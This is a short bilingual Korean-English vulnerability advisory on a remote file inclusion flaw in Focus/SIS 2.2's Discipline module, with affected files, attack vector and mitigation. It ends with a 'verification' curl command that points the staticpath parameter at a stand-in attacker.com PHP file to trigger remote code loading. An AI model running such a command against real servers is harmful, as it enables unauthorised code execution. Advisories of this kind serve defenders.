🇰🇷 한글 설명
Focus/SIS 2.2의 Discipline 모듈에서 staticpath 매개변수에 대한 검증이 부족하여 원격 파일 포함(RFI) 취약점이 발생합니다. 공격자가 외부 PHP 파일을 로드하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Focus/SIS 2.2 시스템에서 파일 경로 입력을 검증하지 않아, 공격자가 인터넷에 있는 악의적인 파일을 로드하고 실행할 수 있습니다. 이를 통해 서버가 완전히 제어될 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Focus/SIS 2.2 allow remote attackers to execute arbitrary PHP code via a URL in the staticpath parameter to (1) modules/Discipline/CategoryBreakdownTime.php or (2) modules/Discipline/StudentFieldBreakdown.php.
📍 영향받는 시스템
Focus/SIS 2.2 (modules/Discipline/CategoryBreakdownTime.php, modules/Discipline/StudentFieldBreakdown.php)
⚔️ 공격 벡터
staticpath 매개변수에 원격 URL을 전달하여 외부 PHP 파일 로드 및 임의 코드 실행
🛡️ 대응 방법
Focus/SIS를 최신 패치 버전으로 업그레이드하거나 staticpath에 엄격한 입력 검증 및 로컬 경로만 허용하도록 화이트리스트 적용
🔧 검증 코드
RFI 취약점이 있으면 외부 URL 로드 시도 시 원격 파일 내용이나 PHP 실행 결과가 반환되며, 패치되었으면 접근 거부 또는 로컬 경로만 허용됩니다.
curl -s 'http://target/modules/Discipline/CategoryBreakdownTime.php?staticpath=http://attacker.com/test.php' 2>&1 | head -20